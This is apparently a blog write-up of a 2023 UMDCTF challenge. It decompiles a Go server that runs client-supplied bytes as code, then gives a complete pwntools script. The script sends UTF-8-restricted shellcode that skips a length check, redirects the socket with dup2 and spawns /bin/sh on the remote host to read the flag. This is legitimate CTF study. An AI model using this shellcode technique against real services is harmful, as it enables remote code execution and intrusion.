deayzl's blog

[2023 UMDCTF] You Want Me To Run What?? writeup (unintended) 본문

CTF writeup/Others

[2023 UMDCTF] You Want Me To Run What?? writeup (unintended)

deayzl 2023. 5. 1. 12:00

solved

Tool: ghidra 10.2.2 with GolangAnalyzerExtension

Exploit: making utf-8 shellcode (pwnable)

 

feat. I've never written any code in go language, so all of these are from internet references and quite a lot of my predictions.

So there might be something wrong with my analysis.

 

symbol tree

/* WARNING: Unknown calling convention */
/* Name: main.handleConnection
   Start: 004cd140
   End: 004cdb00 */

void main.handleConnection(long param_1,undefined8 param_2)

{
  long lVar1;
  char extraout_AL;
  char extraout_AL_00;
  undefined8 *extraout_RAX;
  long extraout_RAX_00;
  undefined8 extraout_RAX_01;
  undefined8 extraout_RAX_02;
  undefined8 *extraout_RAX_03;
  undefined8 *extraout_RAX_04;
  undefined8 extraout_RAX_05;
  undefined8 extraout_RAX_06;
  undefined8 extraout_RAX_07;
  undefined8 *extraout_RAX_08;
  undefined8 *extraout_RAX_09;
  undefined8 *extraout_RAX_10;
  undefined8 *extraout_RAX_11;
  undefined8 *extraout_RAX_12;
  undefined8 uVar2;
  long length;
  undefined8 *puVar3;
  long unaff_R14;
  undefined4 uVar4;
  undefined4 uVar5;
  undefined4 uVar6;
  undefined4 uVar7;
  long lStack0000000000000008;
  undefined8 uStack0000000000000010;
  int local_130;
  undefined local_108 [32];
  long local_e8;
  long local_e0;
  undefined local_d8 [16];
  undefined local_c8 [16];
  undefined local_b8 [16];
  code *local_a8;
  undefined local_a0 [16];
  undefined local_90 [16];
  undefined local_80 [16];
  undefined local_70 [16];
  undefined local_60 [16];
  undefined local_50 [16];
  undefined local_40 [16];
  undefined local_30 [16];
  undefined local_20 [16];
  code **local_10;
  
  lStack0000000000000008 = param_1;
                    /* /home/ubuntu/ctf/crash/run2.go:80 */
  while (uStack0000000000000010 = param_2,
        local_c8 + 8 < *(undefined **)(ulong *)(unaff_R14 + 0x10) ||
        local_c8 + 8 == *(undefined **)(ulong *)(unaff_R14 + 0x10)) {
                    /* /home/ubuntu/ctf/crash/run2.go:80 */
    runtime.morestack_noctxt();
    param_2 = uStack0000000000000010;
  }
                    /* /home/ubuntu/ctf/crash/run2.go:81 */
                    /* /home/ubuntu/ctf/crash/run2.go:83 */
                    /* /home/ubuntu/ctf/crash/run2.go:80 */
                    /* /home/ubuntu/ctf/crash/run2.go:81 */
  local_a8 = main.handleConnection.func1;
  local_a0 = CONCAT88(param_2,lStack0000000000000008);
  local_10 = &local_a8;
                    /* /home/ubuntu/ctf/crash/run2.go:83 */
  local_e0 = lStack0000000000000008;
  length = (**(code **)(lStack0000000000000008 + 0x30))();
  local_30 = CONCAT88(0x51f530,0x4daf60);
  if (length != 0) {
    length = *(long *)(length + 8);
  }
  local_20 = CONCAT88(param_2,length);
                    /* /usr/local/go/src/fmt/print.go:314 */
  fmt.Fprintln(&PTR_datatype.Interface.io.Writer_0051fb58,DAT_007c0c68,local_30,2,2);
                    /* /home/ubuntu/ctf/crash/run2.go:85 */
  runtime.newobject(&datatype.Array.[30]uint8);
  *extraout_RAX = 0x756f79204d4d4d4d;
  extraout_RAX[1] = 0x656d20746e617720;
  *(undefined8 *)((long)extraout_RAX + 0xe) = 0x7572206f7420656d;
  *(undefined8 *)((long)extraout_RAX + 0x16) = 0xa3f54414857206e;
                    /* /home/ubuntu/ctf/crash/run2.go:86 */
  uVar2 = 0x1e;
                    /* MM.. send */
  (**(code **)(local_e0 + 0x50))(0x1e);
                    /* /home/ubuntu/ctf/crash/run2.go:87 */
  if (extraout_RAX != (undefined8 *)0x0) {
                    /* /home/ubuntu/ctf/crash/run2.go:88 */
    local_50 = CONCAT88(0x51f540,0x4daf60);
    puVar3 = extraout_RAX;
    if (extraout_RAX != (undefined8 *)0x0) {
      puVar3 = (undefined8 *)extraout_RAX[1];
    }
    local_40 = CONCAT88(uVar2,puVar3);
                    /* /usr/local/go/src/fmt/print.go:314 */
    fmt.Fprintln(&PTR_datatype.Interface.io.Writer_0051fb58,DAT_007c0c68,local_50,2,2);
                    /* /home/ubuntu/ctf/crash/run2.go:89 */
    (**local_10)();
    return;
  }
                    /* /home/ubuntu/ctf/crash/run2.go:92 */
  runtime.makeslice(&datatype.Uint8.uint8,0x400,0x400);
                    /* /home/ubuntu/ctf/crash/run2.go:93 */
  uVar2 = 0x400;
  local_e8 = extraout_RAX_00;
                    /* receive from client */
  (**(code **)(local_e0 + 0x28))(0x400);
                    /* /home/ubuntu/ctf/crash/run2.go:94 */
  if (extraout_RAX_00 != 0) {
                    /* /home/ubuntu/ctf/crash/run2.go:95 */
    local_70 = CONCAT88(0x51f550,0x4daf60);
    length = extraout_RAX_00;
    if (extraout_RAX_00 != 0) {
      length = *(long *)(extraout_RAX_00 + 8);
    }
    local_60 = CONCAT88(uVar2,length);
                    /* /usr/local/go/src/fmt/print.go:314 */
    fmt.Fprintln(&PTR_datatype.Interface.io.Writer_0051fb58,DAT_007c0c68,local_70,2,2);
                    /* /home/ubuntu/ctf/crash/run2.go:96 */
    (**local_10)();
    return;
  }
                    /* /home/ubuntu/ctf/crash/run2.go:72 */
  for (length = 0; length < 0x400; length = length + 1) {
                    /* /home/ubuntu/ctf/crash/run2.go:73 */
    if ((*(char *)(local_e8 + length) == '\0') || (*(char *)(local_e8 + length) == '\n'))
    goto LAB_004cd43f;
                    /* /home/ubuntu/ctf/crash/run2.go:72 */
  }
  length = 0x400;
LAB_004cd43f:
                    /* /home/ubuntu/ctf/crash/run2.go:98 */
                    /* /home/ubuntu/ctf/crash/run2.go:99 */
  local_90 = CONCAT88(0x51f560,0x4daf60);
  runtime.convTslice(local_e8,length,0x400);
  local_80 = CONCAT88(extraout_RAX_01,0x4d98a0);
                    /* /usr/local/go/src/fmt/print.go:314 */
  fmt.Fprintln(&PTR_datatype.Interface.io.Writer_0051fb58,DAT_007c0c68,local_90,2,2);
  lVar1 = local_e8;
                    /* /home/ubuntu/ctf/crash/run2.go:100 */
  if (length < 10) {
                    /* /home/ubuntu/ctf/crash/run2.go:101 */
    runtime.newobject(&datatype.Array.[55]uint8);
    *extraout_RAX_12 = 0x2073692074616854;
    *(undefined8 *)((long)extraout_RAX_12 + 7) = 0x61656e20746f6e20;
    *(undefined8 *)((long)extraout_RAX_12 + 0xf) = 0x6f6c206120796c72;
    *(undefined8 *)((long)extraout_RAX_12 + 0x17) = 0x67756f6e6520676e;
    *(undefined8 *)((long)extraout_RAX_12 + 0x1f) = 0x206562206f742068;
    *(undefined8 *)((long)extraout_RAX_12 + 0x27) = 0x796d206874726f77;
    *(undefined8 *)((long)extraout_RAX_12 + 0x2f) = 0xa21656c69687720;
    (**(code **)(local_e0 + 0x50))();
                    /* /home/ubuntu/ctf/crash/run2.go:102 */
    (**local_10)();
    return;
  }
                    /* /home/ubuntu/ctf/crash/run2.go:104 */
  if (0x10 < length) {
                    /* /home/ubuntu/ctf/crash/run2.go:105 */
    runtime.newobject(&datatype.Array.[44]uint8);
    *extraout_RAX_11 = L'\x74206e49';
    extraout_RAX_11[1] = 0x3f796d6f6e6f6365;
    *(undefined8 *)((long)extraout_RAX_11 + 0xc) = 0x685420213f796d6f;
    *(undefined8 *)((long)extraout_RAX_11 + 0x14) = 0x6177207369207461;
    *(undefined8 *)((long)extraout_RAX_11 + 0x1c) = 0x6f74207979797979;
    *(undefined8 *)((long)extraout_RAX_11 + 0x24) = 0xa21676e6f6c206f;
    (**(code **)(local_e0 + 0x50))();
                    /* /home/ubuntu/ctf/crash/run2.go:106 */
    (**local_10)();
    return;
  }
                    /* /home/ubuntu/ctf/crash/run2.go:109 */
  runtime.slicebytetostring(local_108,local_e8,0x400);
  unicode/utf8.ValidString(extraout_RAX_02,lVar1);
  if (extraout_AL == '\0') {
                    /* /home/ubuntu/ctf/crash/run2.go:110 */
    runtime.newobject(&datatype.Array.[44]uint8);
    *extraout_RAX_10 = 0x2073692074616854;
    extraout_RAX_10[1] = 0x6166206120746f6e;
    *(undefined8 *)((long)extraout_RAX_10 + 0xc) = 0x796c696d61662061;
    *(undefined8 *)((long)extraout_RAX_10 + 0x14) = 0x6c646e6569726620;
    *(undefined8 *)((long)extraout_RAX_10 + 0x1c) = 0x20676e6968742079;
    *(undefined8 *)((long)extraout_RAX_10 + 0x24) = 0xa216e7572206f74;
    (**(code **)(local_e0 + 0x50))();
                    /* /home/ubuntu/ctf/crash/run2.go:111 */
    (**local_10)();
    return;
  }
                    /* /home/ubuntu/ctf/crash/run2.go:114 */
  runtime.newobject(&datatype.Array.[61]uint8);
  *extraout_RAX_03 = 0x206f7420656d6954;
  extraout_RAX_03[1] = 0x756f7920776f6873;
  *(undefined8 *)((long)extraout_RAX_03 + 0xd) = 0x73656d2072756f79;
  *(undefined8 *)((long)extraout_RAX_03 + 0x15) = 0x206f742065676173;
  *(undefined8 *)((long)extraout_RAX_03 + 0x1d) = 0x2055504320656874;
  *(undefined8 *)((long)extraout_RAX_03 + 0x25) = 0x2065657320646e61;
  *(undefined8 *)((long)extraout_RAX_03 + 0x2d) = 0x2074692074616877;
  *(undefined8 *)((long)extraout_RAX_03 + 0x35) = 0xa21736b6e696874;
                    /* Time to show your message to the CPU and see what it thinks!\n */
  uVar2 = (**(code **)(local_e0 + 0x50))();
                    /* /home/ubuntu/ctf/crash/run2.go:115 */
                    /* /home/ubuntu/ctf/crash/run2.go:92 */
                    /* execute what i sent as machine code
                       /home/ubuntu/ctf/crash/run2.go:67 */
  main._Cfunc_call(uVar2,extraout_RAX_03,local_e8);
  uVar4 = 0;
  uVar5 = 0;
  uVar6 = 0;
  uVar7 = 0;
                    /* /home/ubuntu/ctf/crash/run2.go:116 */
  if (local_130 == -1) {
                    /* /home/ubuntu/ctf/crash/run2.go:120 */
    local_d8 = CONCAT88(0x51f580,0x4daf60);
                    /* /usr/local/go/src/fmt/print.go:314 */
    fmt.Fprintln(&PTR_datatype.Interface.io.Writer_0051fb58,DAT_007c0c68,local_d8,1,1);
                    /* /home/ubuntu/ctf/crash/run2.go:121 */
    runtime.newobject(&datatype.Array.[33]uint8);
    *extraout_RAX_09 = 0x73656d2072756f59;
    *(undefined8 *)((long)extraout_RAX_09 + 1) = 0x7373656d2072756f;
    *(undefined8 *)((long)extraout_RAX_09 + 9) = 0x6564616d20656761;
    *(undefined8 *)((long)extraout_RAX_09 + 0x11) = 0x5550432065687420;
    *(undefined8 *)((long)extraout_RAX_09 + 0x19) = 0xa283a2064617320;
    (**(code **)(local_e0 + 0x50))(0x21);
                    /* /home/ubuntu/ctf/crash/run2.go:122 */
    (**local_10)();
    return;
  }
                    /* /home/ubuntu/ctf/crash/run2.go:117 */
  local_c8 = CONCAT88(0x51f570,0x4daf60);
                    /* /usr/local/go/src/fmt/print.go:314 */
  fmt.Fprintln(&PTR_datatype.Interface.io.Writer_0051fb58,DAT_007c0c68,local_c8,1,1);
                    /* /home/ubuntu/ctf/crash/run2.go:118 */
  runtime.newobject(&datatype.Array.[75]uint8);
  *extraout_RAX_04 = 0x202e2e2e6c6c6557;
  extraout_RAX_04[1] = 0x736f707075732049;
  *(undefined8 *)((long)extraout_RAX_04 + 0xb) = 0x742065736f707075;
  *(undefined8 *)((long)extraout_RAX_04 + 0x13) = 0x7320555043206568;
  *(undefined8 *)((long)extraout_RAX_04 + 0x1b) = 0x2073746920737961;
  *(undefined8 *)((long)extraout_RAX_04 + 0x23) = 0x6c202c7970706168;
  *(undefined8 *)((long)extraout_RAX_04 + 0x2b) = 0x6565732073277465;
  *(undefined8 *)((long)extraout_RAX_04 + 0x33) = 0x6320657720666920;
  *(undefined8 *)((long)extraout_RAX_04 + 0x3b) = 0x7065636361206e61;
  *(undefined8 *)((long)extraout_RAX_04 + 0x43) = 0xa2e2e2e74692074;
  (**(code **)(local_e0 + 0x50))(0x4b);
                    /* /home/ubuntu/ctf/crash/run2.go:125 */
  main.checkStr(local_e8,length,0x400);
                    /* fail */
  if (extraout_AL_00 == '\0') {
                    /* /home/ubuntu/ctf/crash/run2.go:126 */
    runtime.newobject(&datatype.Array.[89]uint8);
    *extraout_RAX_08 = 0x616f772068616f57;
    extraout_RAX_08[1] = 0x2d2068616f772068;
    runtime.duffcopy_0x50_FUN_00464c1a((uint *)((long)extraout_RAX_08 + 9),(uint *)&DAT_0050244d);
    (**(code **)(local_e0 + 0x50))();
                    /* /home/ubuntu/ctf/crash/run2.go:127 */
    (**local_10)();
    return;
  }
                    /* /home/ubuntu/ctf/crash/run2.go:130 */
  main.getFlag();
  local_b8 = CONCAT412(uVar7,CONCAT48(uVar6,CONCAT44(uVar5,uVar4)));
  runtime.convTstring(extraout_RAX_05,length);
  local_b8 = CONCAT88(extraout_RAX_06,0x4daf60);
  fmt.Sprintf("I guess I did run that!\n%s",0x1a,local_b8,1,1);
  uVar2 = 0x1a;
  runtime.stringtoslicebyte(0,extraout_RAX_07,0x1a);
  (**(code **)(local_e0 + 0x50))(uVar2);
                    /* /home/ubuntu/ctf/crash/run2.go:131 */
  (**local_10)();
  return;
}

This function takes care of each request of clients.

 

1. check null or 0xa of input bytes for 0x400 bytes
2. input bytes length must be >= 10 and <= 0x10 (length checked by null)

3. input bytes must be valid utf-8 string (0x00 ~ 0x7f and 0xc2XX ~, 0xc3XX ~, https://www.utf8-chartable.de/
4. execute input bytes as instructions

5. if exception occurs when executing instructions, return -1 (fail)

6. check if md5 hash value of input bytes starts and ends with three '0's

7. then send flag read from flag.txt

main._Cfunc_call -> ... -> call -> execute instructions

/* WARNING: Unknown calling convention */
/* Name: main._Cfunc_call
   Start: 004cd080
   End: 004cd140 */

void main._Cfunc_call(undefined8 param_1,undefined8 param_2,undefined8 param_3)

{
  ulong *puVar1;
  undefined8 extraout_RAX;
  long in_FS_OFFSET;
  undefined8 in_stack_00000008;
  undefined8 in_stack_00000010;
  undefined4 uStack0000000000000018;
  
                    /* _cgo_gotypes.go:46 */
  while (puVar1 = (ulong *)(*(long *)(in_FS_OFFSET + -8) + 0x10),
        &stack0x00000000 < (undefined *)*puVar1 || &stack0x00000000 == (undefined *)*puVar1) {
                    /* _cgo_gotypes.go:46 */
    runtime.morestack_noctxt();
  }
  uStack0000000000000018 = 0;
                    /* _cgo_gotypes.go:47 */
  runtime.cgocall(_cgo_8b24ad49cb3f_Cfunc_call,&stack0x00000008);
                    /* _cgo_gotypes.go:48 */
  if (DAT_007ef3e6 != '\0') {
                    /* _cgo_gotypes.go:49 */
    runtime.cgoUse(&datatype.Ptr.*main._Ctype_char,in_stack_00000008);
                    /* _cgo_gotypes.go:50 */
    runtime.convT64(in_stack_00000010);
    runtime.cgoUse(&datatype.Uint64.main._Ctype_ulong,extraout_RAX);
  }
                    /* _cgo_gotypes.go:52 */
  return;
}

void call(void *param_1,size_t param_2)

{
  sigaction *psVar1;
  int iVar2;
  void *__dest;
  code *pcVar3;
  long lVar4;
  __sigset_t *p_Var5;
  long in_FS_OFFSET;
  sigaction local_a8;
  long local_10;
  
  psVar1 = &local_a8;
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  for (lVar4 = 0x12; p_Var5 = &psVar1->sa_mask, lVar4 != 0; lVar4 = lVar4 + -1) {
    psVar1 = (sigaction *)p_Var5->__val;
    p_Var5->__val[0] = 0;
  }
  local_a8.__sigaction_handler.sa_handler = signal_handler;
  sigaction(0xb,&local_a8,(sigaction *)0x0);
  sigaction(4,&local_a8,(sigaction *)0x0);
  sigaction(8,&local_a8,(sigaction *)0x0);
  sigaction(7,&local_a8,(sigaction *)0x0);
  sigaction(6,&local_a8,(sigaction *)0x0);
  iVar2 = __sigsetjmp(jmpbuf,1);
  if (iVar2 == 0) {
    __dest = mmap((void *)0x0,param_2,7,0x22,-1,0);
    if (__dest == (void *)0xffffffffffffffff) {
      perror("mmap");
    }
    else {
      pcVar3 = (code *)memcpy(__dest,param_1,param_2);
      (*pcVar3)();
    }
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

This function executes instructions that each client sent.

 

 

Analysis summary: This binary, youwantmetorunwhat is a golang elf file which acts as a server that executes the instructions clients sent. The instructions must be utf-8 bytes to be executed. To acquire flag in a normal way, md5 hash value of the instructions must start and end with three '0's.

 

But, it is almost impossible for me to find instruction bytes that satisfies all of those restrictions.

So, I gotta make utf-8 shellcodes that ignore length check.

(confirmed that all the bytes behind a null byte were fully placed in an code area to be executed)

 

 

amd64 instructions reference : http://ref.x86asm.net/coder64.html#x43

 

coder64 edition | X86 Opcode and Instruction Reference 1.12

 

ref.x86asm.net

 

From this reference, you can figure out which instructions you can use.

 

 

# b'\x74\x0b' -> jmp 0x0b
b'\x74\x0b' + b'A' * 11 + b'\x00' + shellcode

And this is how I ignored length check.

Jump to the area behind the null byte and execute shellcodes with no length limit.

 

Also, syscall is available. (b'\x0f\x05')

So, I can make instructions that execute dup2(sockfd, 0), dup2(sockfd, 1), dup2(sockfd, 2), execve('/bin/sh', 0, 0)

(There's a flow of functions which sends flag to the sockfd. I tried to jump to the address of the start of that flow, but it failed. That's why I tried to get a shell from server.)

 

The exploit script is here.

from pwn import *

context.arch = "amd64"

#p = remote('localhost', 8080)
#p = remote('you-want-me-to-run-what.chall.lol', 60006)
p = remote('0.cloud.chals.io', 18903)

print(p.recvline())

payload = b'\x74\x0b' + b'A' * 3 + b'/bin/sh' + b'\x00'
payload += asm('push rdi;pop r13;')# rdi : start address of the instructions
payload += asm(f'push 0x21;pop rax;push 7;pop rdi;push 0x2;pop rsi;') +  b'\x0f\x05'# dup2(7, 2)
payload += asm(f'push 0x21;pop rax;push 7;pop rdi;push 0x0;pop rsi;') +  b'\x0f\x05'# dup2(7, 0)
payload += asm(f'push 0x21;pop rax;push 7;pop rdi;push 0x1;pop rsi;') +  b'\x0f\x05'# dup2(7, 1)

payload += asm('push 0x1;pop rax;push 0x20;pop rdx;push 0x1;pop rdi;push r13;pop rsi;') +  b'\x0f\x05'# write(1, addr, 0x20) check if it works fine with the sockfd (it works with 4 or 7)
payload += asm('push 0x0;pop rsi;push 0x0;pop rdx;push r13;pop rax;add al, 0x5;push rax;pop rdi;push 0x3b;pop rax;') +  b'\x0f\x05'# execve('/bin/sh', 0, 0)
#shell

print(payload, len(payload), disasm(payload[11:]))
p.sendline(payload)
sleep(0.5)
p.sendline(b'cat youwantmetorunwhat;exit')# flag is inside the binary
file_content = p.recvall();p.close()
flag = file_content[file_content.find(b'UMDCTF{'):]
flag = flag[:flag.find(b'}')+1]
print(flag)
# UMDCTF{cpus_love_collisions}

I added /bin/sh string near the start of the payload and used add al, 0x? to make an address value of /bin/sh before executing execve('/bin/sh', 0, 0)

 

FYI, value cannot be pushed into stack twice continuously. If it happens, the binary throws SIGSEGV.

'CTF writeup > Others' 카테고리의 다른 글

[DiceCTF 2024] pain-plus-plus  (1) 2024.02.05
[VishwaCTF] 0 | 1 writeup  (0) 2023.04.02
Comments